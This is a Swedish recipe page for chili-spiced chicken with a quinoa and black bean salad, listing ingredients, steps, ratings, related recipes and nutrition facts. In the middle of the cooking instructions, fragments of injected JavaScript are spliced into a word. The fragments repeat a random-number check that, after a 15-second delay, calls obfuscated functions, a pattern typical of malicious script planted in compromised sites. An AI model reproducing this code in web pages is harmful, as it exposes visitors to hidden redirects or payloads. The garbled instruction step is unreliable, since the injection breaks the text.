Chilikryddad kyckling med quinoa/svarta bönor sallad

2013-06-16
IMG_5807IMG_5808
  • Yield : 1
  • Servings : 1
  • Prep Time : 15m
  • Cook Time : 15m
  • Ready In : 30m

Chilikryddad kyckling med en sallad baserad på quinoa och svarta bönor, samt guacamole. Passar perfekt till grillkvällar!

Ingredienser

  • 100g kokt quinoa
  • 200g kycklingfilé
  • 1/4 rödlök
  • 50g avrunna och sköljda svarta bönor
  • körsbärstomater
  • lime

Gör så här:

Koka quinoan och låt den sedan svalna medan du steker kycklingen i chilipulver, salt och peppar, pressa gärna lite lime över för sötma.
Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a den avsvalnade quinoan med bönorna och halverade körsbärstomater.

Servera alltihop med en god sås, t.ex guacamole som jag! Hemmagjord såklart.

Medlemsbetyg

(5 / 5)

5 5 1
Betygsätt recept

1 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0985

    Lowcarb Carbonara

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • Avokado & äggmacka

    Avokado & äggmacka

  • Vitchoklad & hallonpudding

    Vitchoklad & hallonpudding

Näringssinnehåll

Informationen gäller per portion

  • Kalorier

    353
  • Protein

    46g
  • Fett

    4g
  • Kolhydrater

    30g

Recipe Comments

Post A Comment

Current ye@r *